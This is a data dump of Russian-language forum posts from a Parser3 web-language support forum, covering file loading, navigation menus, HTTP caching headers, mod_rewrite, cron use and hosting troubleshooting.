"24068","если вы можете что-то компилить, то быстрым решением является поправить в исходнике драйвера '@' на любую другую букву. и пересобрать.\
\
чтобы собрать драйвер не нужно никаких библиотек. только исходники parser и драйвера.\
\
\
сделаю совсем не быстро, уверен, вас не устроит."
"24069","когда кто-то поигрался вот так с моей формочкой, я все же кодик-то подправил :))) Просто для красоты. НО у меня при вводе некорректного параметра вставляется значение по умолчанию (на языке юзера -- ничего не происходит), А в данном случае такой ход не имеет смысла. Пусть его, раз решил с браузером баловаться, получит ошибку. \
\
Юзабилити расчитывается на \"адекватного\" пользователя."
"24071","на сайте Ивана Бобова?!\
\
:)"
"24072","сам утром нашёл.\
\
что падает: правильно, там идёт upper строки в windows-1251 кодировке, а кодировки вы, вероятно, ещё не настроили.\
\
что сообщение непонятное выдаёт: парсер ведь не знает, что буквы на самом деле в windows-1251, он их как UTF-8 рассматривает (default кодировка, если нет auto.p или там не указано ничего).\
\
когда такой неправильный набор байт бывает правильным UTF-8, но upper/lower предусмотрен только для части случаев.\
\
\
диагноз: возможно, миша в будущем поправит тест, чтобы подобное диагностировалось."
"24073","так у нас параметры таки юзер вводит, или все же програаммер? Во втором случае весь тред не имеет смысла :)"
"24074","они бывают [url=\"http://www.parsеr.ru/not_found/\"]такие[/url] и [url=\"http://www.parser.ru/not_found/\"]такие[/url]. Если вам больше нравится первый вариант - обработку ошибок тоже можно не делать."
"24075","$myfile[^file::load[binary;${path}/index.html;$.limit(5)]] \
$myfile.text\
выдаёт всё сожержимое файла несмотря на лимит, может я его неправильно использую\
\
как получить вторую строку файла?"
"24076","а если программер забыл, что нету в этом году 29 февраля?\
а если он подставил переменную, которая оказалась пуста?\
а если он ввел дату которую парсер не умеет переваривать? (10000 год)\
\
надо ему попытаться сказать об этом. или предпринять действия (например я могу захотеть не вводить дату и это будет означать первое число месяца, или не вводить год - и это будет означать текущий год).\
\
реализация подобных вещей займет не больше этого сообщения, а кусок кода будет выглядеть законченым и логичным."
"24077","Я конечно не гений, по этому прошу помочь разобраться с меню навигации, точнее как писать sections.cfg. Что такое tab-delimited практически, что такое каретка, и в каком редакторе это все таки надо делать. Не на столько ж я тупой, хотя ни в блокноте, не HomeSite, изобразить цфегешник  этот не смог сделать по инструкции."
"24079","особенно сюда\
http://www.parser.ru/docs/lang/app1.htm\
ваш лимит делает совершенно не то что вы предположили"
"24080","tab-delimited значит, что разделители между полями табы (нажмите на кнопочку TAB на клавиатуре)"
"24081","Пожалуйста, объясните что значит limit\
\
При загрузке документов с диска также можно дополнительные опции загрузки [3.0.8], это хеш, ключами которого могут быть: \
\
$.limit(ограничение) \
 -1 \
 Загрузить не более данного количества байт."
"24082","А программеру — не пить на работе! :)\
Код без \"умолчаний\" будет по определению быстрее. Это аргумент!"
"24083","...а в конце строки таблицы - ENTER! :)"
"24085","а чтобы увидеть что у вас получилось, в HomeSite можно включить опцию \"Show hidden characters\" (в меню \"options\", или слева в окне режима Edit)."
"24086","Вы просто ничего сложнее Hello World не делаете видимо. Дело тут даже не в программисте, а во множестве возмущающих воздействий, присутствующих во входных данных для различных участков кода, которые вы  никогда не можете предсказать."
"24087","что каждый кусочек кода решает конкретную задачу. Если мы хотим сделать супер-пупер-универсальный код (с учетом электромагнитных возмущений в атмосфере и сексуальной активности опоссумов), то конечно, надо проверять каждый чих :) тех же опоссумов.\
\
Но при решении конкретной задачи, мне кажется, надо стремиться к минимизации кода, и там, где ошибка невозможна ее и не ловить. Дать програмисту подумать, например, перед использованием функции. При большом трафике на сайт ваши \"две строчки кода\" обойдутся уже в 2*трафик строчек кода, выполненных, возможно, впустую. А оперативка на сервере не резиновая и иногда - не бесплатная.\
\
В общем, я за сужение задач и против ругани, уж извините (см. ваш пост)."
"24088","Уж очень вы науке сопротивляетсесь, - попытался применить внушение, не помогает.\
\
Суть исключений в том, чтобы отделить код обработки ошибок от полезного кода. Без них, размер программы может легко удвоится, из-за разных проверок на допустимость параметров. Кроме того, код может стать чрезвычайно запутанным.\
\
Ещё одна сторона - это взаимодействие с кодом написанным другими. Часто удобнее и легче обработать генерируемое этим кодом исключение чем лезть в этот код и выяснять причины ошибки."
"24089","что я с вами полностью согласен. Просто изначально не было сформулировано задачи, под которую делался метод. \
\
Если цель -- вывести на главной странице сайта http://pboul_pupkin.com.ru отсчет до открытия филиала в Запупине один раз и после его (филиала) открытия убить этот код нафиг, то нет смысла огород городить. \
\
Если же данный метод -- часть некоего комплекса, постоянно юзается и взаимодействует с разным прочим чужим кодом -- огород нужен. И большой, и даже, возможно, с учетом активности не только опоссумов :) И исключения обработать, и параметры проверить, и умолчания организовать, да. Хотя тоже, подумать об оперативке.\
\
Вот в целом мое видение проблемы."
"24090","при запуске из коммандной строки куда идет output (response, и что увидется в request?)? \
Хочу сделать запуск странички из Cron, думал поэкспериментировать, но раз уж тема пошла..."
"24091","в stdout, как и шёл.\
\
в $request:uri ничего."
"24092","написать файл shedule.p (чтобы не путаться), в котором прописать просто парсерный код, последовательно, без всякого html, и его запускать из shell'a?"
"24093","offset/limit работают для ^table::load, для file::load нет.\
\
исправлю."
"24094","если нравится, можно в стиле perl:\
\
[code]\
#!/path/to/parser\
\
^eval(2*2)\
[/code]\
\
chmod u+x этот файл, и запускайте в удовольствие.\
\
info: корнем веб-пространства считается текущий на момент запуска каталог.\
\
на некоторых платформах parser не найдёт свой auto.p, будет проблема, поищите по форуму ключевое слово \"/bin/env\"."
"24096","и я внес конструктивную критику.\
\
то, что вы пошли в другую степь никого об этом не уведомив - по моему только ваша … [не знаю как написать…]"
"24097","С разбором xml-запросов все прекрасно. А вот как с клиентом то быть ? Может, хотя бы в планах есть добавить возможность отправки запроса к xml-rpc серверу каким-то менее извращенным способом, чем с вызовом скрипта, который оный запрос отправит ? Или может я туплю, и все гораздо проще ? Если кто решал такую задачу - поделитесь, плиз, направлением, куда думать ..."
"24098","Тут я как-то приводил некоторые необходимые для этого куски: POST, BASE64.\
Остальное - дело техники.\
\
Да, кому-то я почти готовый класс высылал по почте (кому - не помню) и мне обещали дописать и вернуть. Что-то не могу найти, кому именно. Может отзовется товарисч?"
"24099","Я лишь удостоверился, что синтаксис на Win и *nix различный, поэтому это узкий прием, зависящий от конкретной платформы. Вы случайно не читали кроме заголовка вопрос?"
"24100","$news[^table::load[news.cfg]]\
^news.menu{\
<b>$news.date</b>:$news.desc - <a href=issues.html?id=$news.id>Details...</a><BR>\
}\
\
но правильный article не высвечивается. первоя заметка из news.cfg высвечивается и всё. есть ли какието соображения"
"24101","класс, который забирает файлы с использованием base64, у меня валялся на сервере, его забрали оттуда несколько раз, ужо не знаю, кто. Могу продублировать, ежели надо. С Пост запросом разобрался, сорри. "
"24102","Предполагалось, что вы прекрасно понимаете, что делает данный код на Парсере 2, и у вас возникли трудности при переносе его на Парсер 3. Если это так, вам всего-то нужно ознакомится с методами класса table, потом взять [url=\"http://example.parser.ru/news/issue.txt\"]актуальный исходник[/url] и переделать его примерно так как я показал."
"24103","То никто не мешает сделать прокладку в виде shell-скрипта. Назвать его, скажем mycopy.bat и звать его...\
\
Другое дело, что мне не совсем понятна необходимость полного копирования директории в задаче сайтопостроения. Переименовать не проще?"
"24104","http://www.mysql.ru/docs/instadm.html"
"24106","только было собрался попробовать докачку реализовать..."
"24107","никак не думал, что дело может быть в моей системной дате..."
"24108","Спасибо. Искренне."
"24109","Просто слишком много всего и сразу. В голове все перемешалось. А совет Ваш учту."
"24111","Всем вновь привет и сорри за долгое молчание. :)))\
Спасибо за совет - taint решил проблему. :))) Как-то я совсем упустил из виду этот оператор...\
Удачи Вам! :)))"
"24112","как сделать вывод дробного числа с запятой?"
"24115","Мы все Русские люди, и русской типографике принято отделять дробные части запятой.\
А вообще в идеале было бы хорошо, если бы знак (точка или запятая) воспринимались бы одинаково в математических функциях."
"24116","Или скорее даже домыслы, без какой-либо конкретики они бессмысленны.\
\
Тут недавно случай был на работе. Приходит ко мне программист и говорит, что мол на одной машине в расчетном отделе зарплата считается медленно, потому что компьютер подключён к 10 Мбит сегменту, и что он запустил эту задачу на более слабой машине подключённой к 100 Мбит сегменту, и эта же задача заработала на 2 порядка быстрее.\
\
Я ему говорю - дело в тормозах на сервере (т.к. используется клиент серверная архитектура) из-за неоптимального кода приложения да и сервер уже староват (2x450 Pentium III), хотя при оптимальном коде он летал бы. Он не верит. Ладно, подключил последнюю машину к тому же 10 Мбит сегменту - задача работала так же быстро. Стали разбираться дальше и дело оказалось в некорректном сравнении, - на первой машине расчет запускался по месяцу с полными данными, на второй по месяцу с практически, отсутствующими данными. Сделали корректное сравнение - скорость, как и ожидалось, на второй машине упала столь же значительно.\
\
Мораль сей байки такова - предположения не основанные ни на чем, опасны."
"24117","видимо, в обсуждении вопроса следовало изначально выяснить рамки задачи, и уже в контексте реального применения критиковать."
"24118","не нравится то, что делает format - напишите свой оператор, делов-то.\
\
лень писать? возьмите готовый из [url=\"/examples/lib/\"]примеров[/url] и это лень? тогда я не знаю чем помочь…"
"24119","но хотелось бы встроенной возможности.\
\
ОК!"
"24120","А может у меня руки \"кривые\""
"24121","Можно ли и как сделать, чтобы Парсер передавал клиенту дату модификации запрашиваемого файла? Или код какой, что типа, парень, страничка изменилась, меняй кэш?  \
\
Задача следующая: проставлять генеренным страницам дату в соответствии с последними изменениями данных, чтобы клиент соображал, что пора заменять кэшированную копию. Очень хочется делать это парсером, причем как-нибудь для всех страниц... Чую, что дело в postprocess..."
"24122","в форуме есть дискуссия на тему, но я не врубаюсь: если я в каком-нибудь html-е пишу нечто вроде:\
\
$response:expires[^date::now(+1)] \
\
Далее мой код, это будет работать так?\
А если файл начать с:\
\
$response:Last-Modified[$date_my]\
\
И продолжить всяким прочим кодом -- получится то, что я думаю?"
"24123","Апач был сконфигурен так, что не показывал дату. есть ли данные (экспериментальные) что происходит, если апач тоже имеет дело с датой? Как он взаиможействует с Парсером?"
"24124","Товарищи, Миша же ответил, это язык программирования, так _везде_. И запятая в выражениях абсолютно лишнее и запутывающее дело.\
Другой вопрос, что format'у неплохо бы иметь возможность вывода с разными разделителями, это да."
"24125","для навигационного меню\
написал следующее:\
\
@Showleftnav[]\
<table width=150 border=0 CELLPADDING=0 CELLSPACING=0 bgColor='#E0F9E5'>  \
\
           ^if(-f \"section.cfg\"){\
                 $lmenu[^table::load[section.cfg]]\
                    ^lmenu.menu{\
                     ^Showlm[]\
                     }\
                     }{\
                     \
                 ^if(-f \"/section.cfg\"){\
                 $lmenu[^table::load[/section.cfg]]\
                    ^lmenu.menu{\
                    ^Showlm[]\
                     }\
                     }{<tr><td></tr></td>}\
                     }\
</table> \
@Showlm[]                     \
             ^if($lmenu.uri eq $request:uri){ \
             <tr><td width=89 align=\"left\" class=vmenu bgColor='#D5EDD9'\">\
             $lmenu.title\
             </td></tr>\
                }{ \
                 <tr><td width=89 align=\"left\" class=vmenu onmouseover=\"this.bgColor='#D5EDD9'\"\
                      onmouseout=\"this.bgColor='#E0F9E5'\">  \
                      <a href=\"$lmenu.uri\">$lmenu.title</a>\
                 </td></tr>\
                 }\
все работает но только по ссылкам на 1 глубину. если есть в подкаталоге еще каталог то почему то \
сюда \
\
$lmenu[^table::load[/section.cfg]]\
\
записывается корневой section.cfg а не вышестоящий (/)\
\
Что не правильно?"
"24126","apache отодвигает этот заголовок в now, если он >now.\
\
попробуйте другой тест :)\
\
по-хорошему, надо ещё обрабатывать заголовок запроса If-Modified-Since, но обычно browser делает всё за вас."
"24127","Просите корневой (/) - его и получаете."
"24128","а как тогда сделать чтобы он проверял наличей файла  на директорию выше?"
"24129","../sections.cfg"
"24130","текущая ссылка показывается как сслыка а надо как текст\
\
С уважением Роман"
"24132","Написано:\
\
The If-Modified-Since request-header field is used with the GET method <...> conditional GET method is...\
\
То есть это свойство request'a. И как ж еего обработать?"
"24134","за вас browser всё сделает, выдайте только правильный last-modified"
"24135","Похоже, что при выдаче заголовка Last-Modified Парсер незаметно преобразует объект date к виду HTTP date (с днем недели впереди, типа «Tue, 15 Nov 1994 12:45:26 GMT»), значит ли это что так же автоматически можно получить из HTTP date Парсерный date разбирая поля request'а? Или как?"
"24136","что они действительно не равны. Для примера:\
\
\"/\" ne \"/index.html\"\
\
\"/news/\" ne \"/news\"\
\
\"/news/ \" ne \"/news/\" (хотя в браузере, скорее всегопокажут одно и то же)"
"24138","С перечисленным - по порядку:\
\
1 и 2 - везде делать ссылку на один URI, главная страница = \"/\", например, чтобы пользователь не мог попасть на страницу с URI \"/news/index.html\", а только (все ссылки ведут...) на \"/news/\".\
\
3 - внимательно проверить весь код на лишние пробелы (в том числе и navigation.cfg) их не должно быть."
"24140","Пишем в sections.cfg:\
\
id<tab>uri<tab>label<enter>\
1<tab>/<tab>main<space>page<enter>\
2<tab>/news/<tab>news<enter>\
\
<tab> = нажатие клавиши ТАБ\
<space> = нажатие клавиши ПРОБЕЛ (в других местах пробелов нет)\
<enter> = нажатие клавиши ВВОД \
\
После этого пробуем урок 1, создание меню. \
Скачайте редактор, который умет показывать невидимые символы (EditPlus сойдет)\
\
Доходчиво? :) Обращайтесь к нам еще :)"
"24141","спасибо Глеб, это понятно :-) или не настолько я баран.\
\
все уроки я прошел, сделал сайт, разбираюсь с меню сеголдня разобрался а вот текущая сслыка не текстом идет :-( все уже давно перепроверил"
"24143","если бы поискали по форуму, нашли бы.\
\
возможно, со временем я поправлю доку, чтобы она была поуниверсальнее. пока же не хочу загромождать пример идиотизмом IIS."
"24144","Откройте в ворде sections.cfg и включите режим отображения невидимых символов. 100% там записано что-то не то.\
\
Напишите в ваших HTML-ах такой код (внутри BODY):\
\
<h3>Мой URI=\"$request:uri\"</h3>\
\
И сравните то, что он выведет, с тем, что у вас прописано в таблице."
"24145","Хоть ключевое слово киньте?"
"24147","Хотел сделать аплоад папки. Но интереснее для меня сейчас загружать один zip и распаковывать. Только нужно попробовать библиотеку для этого. Тут мне уже советовали, только теперь время надо - экспериментировать. А если не получится - чтож, придется юзеру по фтп заливать."
"24148","захостился на arbatek.ru то же что и 350mb.ru \
\
все сделал как здесь написано:\
http://www.egoroff.spb.ru/portfolio/20.html\
\
все ращместил: результат:\
\
Not Found\
The requested URL /cgi-glob/parser3/parser3_wrapper.exe/index.html was not found on this server.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. \
\
\
--------------------------------------------------------------------------------\
\
Apache/1.3.28 Server at www.mynoni.ru Port 80\
\
в чем может быть ошибка?"
"24150","ставлю Парсер grupunlim на FreeBSD - все работает, но при попытке подключиться с MySQL - выскакивает Internal Server Error... причем, не парсеровский, а апачевский :(\
\
снизу строка More information about this error may be available in the [b]server error log[/b].\
\
пробывал разные версии - один фиг не получается...\
в чем дело может быть?\
\
P.S.: логов сервера у меня нету, и не предвидиться :)\
конечно понимаю, что вопрос \"в пустоту\" - но все же, может было у кого такое..."
"24151","Как так: база есть, а логов нету?"
"24152","написано же: логов сервера [b]у меня[/b] нету\
\
Вообще есть, но доступ к ним я не могу получить, а админ сервера появляется раз в неделю..."
"24154","потому как нет.\
\
у меня ощущение, что вы зачем-то хотите таки обрабатывать if-modified-since. я считаю это ненужным. только и всего.\
\
если очень хотите, разберёте дату самостоятельно."
"24155","1. спросите у вашего админа полный путь, где эти логи лежат.\
error_log обычно небольшой, права обычно настроены так, что cgi процесс его открыть на чтение может.\
так что \
[code]\
$f[^file::load[text;/../../../var/log/www/www.yyy.ru/error_log]]\
<pre>$f.text\
[/code]\
и привет\
\
2. parser3.cgi переименовываете в parser3.cgi.real поместите в этот каталог файл с тем же именем, но с таким содержимым:\
\
[code]\
#!/bin/bash\
\
echo content-type: text/plain\
echo\
./parser3.cgi.real 2>&1\
echo done\
[/code]\
\
и обратитесь к проблемному адресу.\
\
так вы получите все ошибки просто в окне браузера.\
\
не забудьте разрешить исполнение этого скрипта (бит x)."
"24156","вот что выдает:\
/usr/libexec/ld-elf.so.1: /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"stpcpy\"\
done\
\
libmysqlclient.so заменить надо, да?"
"24157","мой вопрос только про обработку полей запроса, содержащих дату. Значит, ручками... Ну и ладно."
"24158","каких, если не if-modified-since и если секрет?"
"24161","В прошлом посте написал, что Апач у провайдера не показывает дату. Увы, как выяснилось, поисходит следующее: \
\
[b]Апач не показывает дату последней модификации для файлов обрабатываемых Парсером! При этом для остальных файлов все выдается, как надо.[/b]\
\
Это очень грустно, так как нет желания прописывать дату ручками для каждого файла. Объясните пожалуйста, зачем так сделано (и кем), и можно ли как-то поправить ситуацию?\
\
ТехДата:\
Server: Apache/1.3.29 (Unix)\
Parser 3.1.1 for RedHat"
"24162","это-же динамические страницы, дата их \"последней модификации\" всегда будет NOW, а если она нужна другая то можно ведь и ручками проставить?"
"24163","У меня есть страница, в которой кроме меню, вообще ничего не парсится. Сам файл (в системе) имеет конкретную дату модификации. И почему по умолчанию он будет NOW?\
\
Что же, для того, чтобы нормально работали относительно статические страницы надо ручками писать для них дату?!\
\
Если это фича, то крайне странная. Кстати, чья -- Парсера или Апача?"
"24164","[code]\
$response:Last-Modified[^date::create(сколько;скажете;столько)]\
#будет\
[/code]\
\
я думал попытаться встроить это прямо в язык.\
чтобы само получалось из max(все кусочки строк).\
чтобы кусочек строки про себя знал не только untaint-язык, но и это.\
однако чтобы строки из баз данных знали свою дату последней модикафии пришедшее на ум решение не выглядит универсальным."
"24165","мне кажется, что в языке с головой хватит ставить значением поля по умолчанию просто системную дату последней модификации файла. Во всяком случае, это бывает нужно крайне часто, и как-то неудобно для наименее динамичных страниц сайта писать повторяющийся код.\
А на динамических - конечно, тут в зависимости от способа обновления контента и так далее у всех все по разному. \
Bug велел писать индивидуально :)"
"24166","...опеределить метод auto с параметром в auto.p,\
внутри метода выставить поле last-modified в дату последней модификации файла.\
\
Как следствие, все возможные методы (в html файлах и пользовательских классах), переопределающие поля заголовка, вызовутся после и, если надо, затрут значение выставленное в auto?"
"24167","[i]> У меня есть страница, в которой [b]кроме меню[/b], вообще ничего не парсится.[/i]\
когда вы измените ваш sections.cfg (добавите новый раздел), ваши постоянные посетители не смогут его (раздел) увидеть, ибо у них на запрос вылезет \"старая\" закешированная страница, которая, по вашим правилам, \"не изменилась\".\
\
[i]> И почему по умолчанию он будет NOW?[/i]\
динамическая страница \"собирается\" на сервере сеюсекундно (NOW) в ответ на ваш запрос.\
Даже если содержания файла будет \
[code]^rem{ *** нифига не парсим *** }[/code]"
"24168","При пустом заголовке может быть то же самое -- все зависит от алгоритма работы браузера. Чтобы все работало чисто, надо энтот заголовок определять. В описанном вами случае никто не мешает чуть-чуть больше позаботиться о сайте, и, к примеру выдат ьзаголовок по дате последней модификации меню. Но это если вы планируете его часто менять... \
\
НО в случаях, когда ручками писать нет необходимости, пол едолжно заполняться чем-то по умолчанию. И это что-то должно быть датой модификации файла."
"24170","а ведь, зная актуальный max(всех Last-Modified) можно временами вообще не генерировать содержимое, а отдавать клиенту 304, тем самым снижая нагрузку на сервер и экономя трафик...\
\
Интересно, кто-нибудь так делает? Или это уже совсем паранойя?  8-]"
"24171","Команда\
$bac[^table::sql{backup table tabname to '/_backup'}]\
Ошибка\
\"... 'backup table tabname to '/_backup'' Access denied for user: 'dbu_1@localhost' (Using password: YES) ...\"\
Как это правится?"
"24174","Здравствуйте, я в парсере новичок. Возможно мой вопрос не совсем корректный, но есть ли возможность в Parser3 использовать стили CSS? Документацию читал, ничего такого не нашел. Заранее спасибо."
"24175","есть галерея, хочется чтобы по клику открывалось popup окошко с этой картинкой и можно было не вылезая из него перелистывать их по порядку. Наверное можно яваскриптом, только как параметры передавать? или пхп, тот же вопрос..\
заранее спасибо"
"24178","иметь алгоритмы работы большинства известных браузеров, можно было бы понять уместность такого подхода. Мне кажется, сложность решения не сопоставима с возможным облегчением нагрузки на сервер. Вам же этот МАКС тоже надо считать..."
"24179","а если у меня, скажем, используется \"интеллектуальное кэширование\", что-бы узнать МАКС мне дастаточно посмотреть Last-Modified актуального фаилика кэша.\
\
А насчет браузеров - если браузер, какой бы он ни был убогий, посылает мне в заголовке If-Modified-Since - значит это наш клиент, иначе получается как в том анекдоте - обманул таксиста, деньги ему дал, а сам не поехал..."
"24180","Я думаю, что огород стоит городить только если это действительно даст какой-нибудь выигрыш. И сильно не уверен, что он будет. Если определен last-modified, то браузер сам все сделает что надо. Есть ведь запрос HEADERS (или как-то так)... И разработчики браузеров про него знают..."
"24181","не хочу с вами спорить...\
\
У меня вообще сложилось впечатление, что какие бы аргументы вам не приводились, вы всё равно вывернете всё наизнанку и останетесь при своем мнении...\
А плодить впустую никому не нужные треды мне кажется бессмысленной тратой времени."
"24182","что я создал для вас такое впечатление. Меня в дискуссии не особо волнует высказывание МОЕГО мнения (оно может быть спорным или неверным), а рассмотрение всех возможных сторон вопроса.\
Полезно, блин. \
Кстати, и в этом треде я никакого мнения не высказал. Для сайта, который я делаю сейчас(http://IvanBobov.ru), я принял определенное решение, но нет смысла его продвигать как универсальное...\
\
\"И ты, Абрам, прав, и ты Мойша, тоже прав\" (с)"
"24183","Пытаюсь загрузить файл с http такими методами\
$url[http://www.servername.ru/?id=300]\
^file::load[text;$url]\
^table::load[$url]\
\
ошибка:\
can not resolve hostname \"www.servername.ru\"\
\
Что не так? Список полных примеров:\
@show1[]\
$url[http://www.servername.ru/getexp/?^taint[as-is][id=300]]\
#$file[^file::load[text;$url;$.timeout(15)]]\
$table[^table::load[$url;$.timeout(15)]]\
 Count: ^table.count[]\
<hr>\
<pre>$table.0</pre>\
\
@1[]\
$url[http://www.servername.ru/getexp/?^taint[as-is][id=300]]\
\
$file[^file::load[text;$url;$.timeout(15)]]\
^process{^taint[as-is][$file.text] }"
"24184","Как с помощью mod_rewrite преобразовать url вида\
\
?section=parser\
\
в /parser/\
\
и url вида\
\
?news=1\
\
в /news/1/\
\
Извините, что не по теме :-)\
Заранее благодарю."
"24185","Естественно можно!\
RTFM(x10000000000)!\
Дело в том, что парсер к css имеет косвенное отношение.\
\
В HTML можно? Значит можно и в Парсере! \
Картинки тоже можно Парсером в страницы вставлять."
"24186","http://www.egoroff.spb.ru/portfolio/5.html"
"24187","Здравствуйте,\
\
пытаюсь передать через форму данные, по методу уроков в документации.\
На моем сервере дома (Apache 1.3.7) всё работало -- перенёс на хостинг -- получаю вышеупомянутую ошибку. Прочёл всё что нашёл в форуме. Испробовал так-же вариант в PHP и просто HTML без парсерного кода и без обработки парсером:\
\
<html> \
<body> \
<form method=POST action=\\\"\\\"> \
<textarea name=\\\"text\\\"></textarea> \
<input type=\\\"submit\\\" value=\\\"speichern\\\" name=\\\"save\\\"> \
</form> \
</body> \
\
</html> \
\
\
<?PHP \
\
echo(\" \
<html> \
<body> \
<form method=POST action=\\\"\\\"> \
<textarea name=\\\"text\\\"></textarea> \
<input type=\\\"submit\\\" value=\\\"speichern\\\" name=\\\"save\\\"> \
</form> \
</body> \
\
</html>\"); \
\
?>\
PHP работает, HTML выдаёт ошибку \"Method not allowed\". Тот же пример с методом GET работает во всех трёх вариантах.\
Моё предположение: Админ запретил пользование методом POST для файлов с окончанием .html\
Админ долго сопротивлялся и не хотел помогать. Аргумент: \"Этого не может быть, потому что этого не может быть никогда.\"\
\
Удалось договориться, что если предложу ему решение, где конкретно он мог запретить использование POST, он туда посмотрит и следовательно может даже изменит.\
\
Просьба знающим людям: подскажите, где он мог настроить запрет на пользование POST'ом?\
Желательно было бы узнать ВСЕ возможности и варианты, что-бы он не мог отвертеться.\
На сервере хостят кучу разных доменов и проектов, но как-то раз мне они говорили, что SUEXEC не используют (но это была отдельная история).\
\
Заранее благодарен,\
\
Molotoff"
"24188","http://www.parser.ru/forum/?terms=post_size%280%29&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8"
"24189","Я же ясно написал, что уже прочёл всё, что нашёл в этом форуме на тему post_size(0)!=content_length.\
\
Поиском я пользоваться умею, думаю не хуже других.\
\
Я попросил знающих людей поделиться идеями и знаниями насчёт того, каким образом админ мог запретить method POST для файлов *.html.\
В частности меня интересовало как это обычно делают на хостингах с большим количеством клиентов и доменов (т.е. не через .htaccess).\
\
Не надо сразу так горячиться и тыкать мне пресловутый \"RTFM\".\
\
С уважением,\
\
Molotoff"
"24191","Вроде бы разобрался с преобразованиями, но остались вопросы.\
\
Я ставлю ссылку /?section=parser\
и у меня на главной странице код\
[code]\
^if(def $form:section){...}{...}\
[/code]\
я не могу разобраться, когда должно произойти преобразование, когда я нажму на ссылку и в строке будет /parser/ или мне сразу ставить ссылку на /parser/ но как тогда мне вызвать мой код?\
\
Заранее благодарю."
"24192","^if( $sections.uri eq ^request:uri.match[(\\/.*[^^/]\\/).+][x]{$match.1}){...}{...}\
то есть \"откусывал\" все символы после второго слэша. Естессно, пример неуниверсальный (не будет работать, например, в случае \"/news/today/...\"). Для большей универсальности можно \"поколдовать\" над regexp'ом, либо воспользоваться методом split."
"24193","со времен Фортрана lt и gt расшифровываются как less thAn и great thAn соответственно (в документации вместо слова than \"чем\" ошибочно использовано then \"затем\" ).\
\
Пардон за занудство :-)"
"24194","http://www.livejournal.com/community/ru_parser/\
Только создано. Милости просим."
"24197","Скажите работает ли парсер в такой конфигурации?"
"24198","http://httpd.apache.org/docs/mod/core.html#limit\
Она позволяет запретить все, что угодно вплоть до GET."
"24200","[code]xxx:~ yyy$ host www.servername.ru\
www.servername.ru is an alias for servername.ru.\
servername.ru has address 62.118.252.123[/code]\
\
Возможно, имя хоста у вас другое..."
"24203","Токмомо краще остафьте этат каминтарий в камментариях к дакуминтации. :)"
"24204","ибо я тоже с ним парюсь."
"24205","Итак:\
у нас должна быть ссылка например /parser.html, и в корневом index.html оператор ^if который я уже приводил.\
\
Правило по которому у нас идет преобразование:\
\
RewriteRule   ^(.+)\\.html$  /?section=$1\
\
вот тут то и весь фокус!\
У нас не существует файла parser.html но мы его вызываем, сервер там у себя тайно :-) преобразовывает наш /parser.html в /?section=parser, при этом выполняется наш ^if и мы получаем результат, причем в адресной строке у нас /parser.html\
\
Вот и все!\
\
Если хотите получше разобраться в синтаксисе mod_rewrite, то почитайте у Александра Егорова перевод доки по этому модулю http://www.egoroff.spb.ru/portfolio/apache/"
"24206","Я вот тоже сначала подумал об этом, но я как-то не пойму, почему тогда работает POST в файлах .php которые находятся рядом с парсеровским .html?\
И существует ли какая-нибудь возможность разрешить метод, например на уровне .htaccess\
\
Я к сожалению плохо разбираюсь в настройках сервера и должен признаться, что представление о приоритетах директив и возможностях их комбинирования у меня довольно смутные.\
\
Тем не менее, спасибо за Вашу помощь.\
\
С уважением,\
\
Molotoff"
"24208","В .htaccess пишем конструкцию\
[code]<FIles ~ \"\\.html$\">\
    <LimitExcept GET POST>\
        Require valid-user\
    </LimitExcept>\
<Files>[/code]\
При этом надо иметь AllowOverride All\
\
Другой вариант - перекрыть расширение .php парсерным хэндлером\
[code]AddHandler parser-html .php\
Action parser-html /cgi-bin/parser3.cgi[/code]\
и посмотреть, а не исчезнет ли ошибка. Если таки исчезнет - разбираться, почему на .html закрыт POST (пробовать метод 1)..."
"24210","Я заведомо дал ложный хост, думал что ошибка в коде не в хосте...\
Как я понял вместо HOST надо писать не www.итд , а ip адрес ?\
Тогда вопрос как узнать ip по имени сайта??"
"24211","ни один, ни другой метод не помогают:\
\
первый метод не работает (Internal Server Error), думаю, что AllowOverride All как раз не включен.\
\
второй метод выдаёт даже при обработке .php файла \"post_size(0) != content_length(х)\"\
\
Может всё таки дело не в окончании? Но тогда я не понимаю, почему работает POST c настоящим PHP?\
А может дело в user/group под которым работает PHP, т.к. Парсер на моём хостинге пришлось ставить в версии \"cgi_grpunlim\" - он работает как nobody.nogroup?\
\
Даже не знаю, что делать, где читать...\
\
Спасибо за Ваше время!\
\
С уважением,\
\
Molotoff"
"24212","Хочу сделать, чтобы на сайте в оформлении участвовали картинки, выбранные случайным образом, ну например есть 3 колонки, пусть в  правой и левой колнке появляются картинки из папки /img, но так, чтобы были все разные, как это сделать на ПАРСЕРЕ?\
\
Или лучше на ява скрипт?"
"24213","http://www.parser.ru/forum/?id=16848\
\
там длинный тред и много всяких идей."
"24214","Обычно, нормально все и по адресу работает...\
Опечатки точно нет?\
А что, если забрать http://www.parser.ru/forum/?id=24183 ?"
"24215","В папке имена типа \"рисунок_0\", \"рисунок_1\" и т.д.\
А потом вставить рисунок_^math:random(сколько_всего_картинок).\
Соответсвенно установите формат вывода подходящий под имена ваших рисунков."
"24216","Указанный Вами тред как раз и был точкой отправления.\
Решения там, к сожалению найдено не было.\
\
Ну что-же надеюсь, что найду ещё какую нибудь информацию.\
\
Спасибо!\
\
Molotoff"
"24217","Кодом поделитесь? :-)\
(Для активизации нового аккаунта)"
"24218","к примеру человек дважды посетил страницу или рефрешнул ее... чтобы он не наблюдал одну и ту же картинку, нужно вести журнал показов. Где его вести - дело барское, можно на стороне клиента, можно на стороне сервера.\
Кстати, не обязательно пользоваться рандомом чтобы показывать разные картинки, достаточно их показывать по порядку и вести счетчик."
"24219","Как корректно построить путь к файлу?\
\
\
   $base[^table::sql{select                                       # выбор остальных\
     date, time, name, info, price, photos, photos_name           # полей\
   from                                                           # из той же таблицы\
     base\
   where                                                          # только те строки\
     id=$line_id                                                  # у которых индекс такой\
   limit 1                                                        # при нахождении, дальше\
                                                                  # не искать\
     }]                                                           # итог - таблица с 1 строкой\
   if ($base.photos==0)){\
    $path[pic/blank.gif]\
    $alt[\"Нет фотографии\"]\
    $width[160]\
    $height[90]\
   }{\
    $photo_id[^math:random($base.photos)]\
    $path[pic/$base.photos_name/$base.photos_name _main_ $photo_id .jpg]  # интересующая строка\
    # сейчас она выглядит примерно: pic/имяпапки/имяфайла_main_номерфайла.jpg\
    # как соеденить переменные и спецсимволы в строке?\
    $alt[$base.name]\
    $width[280]\
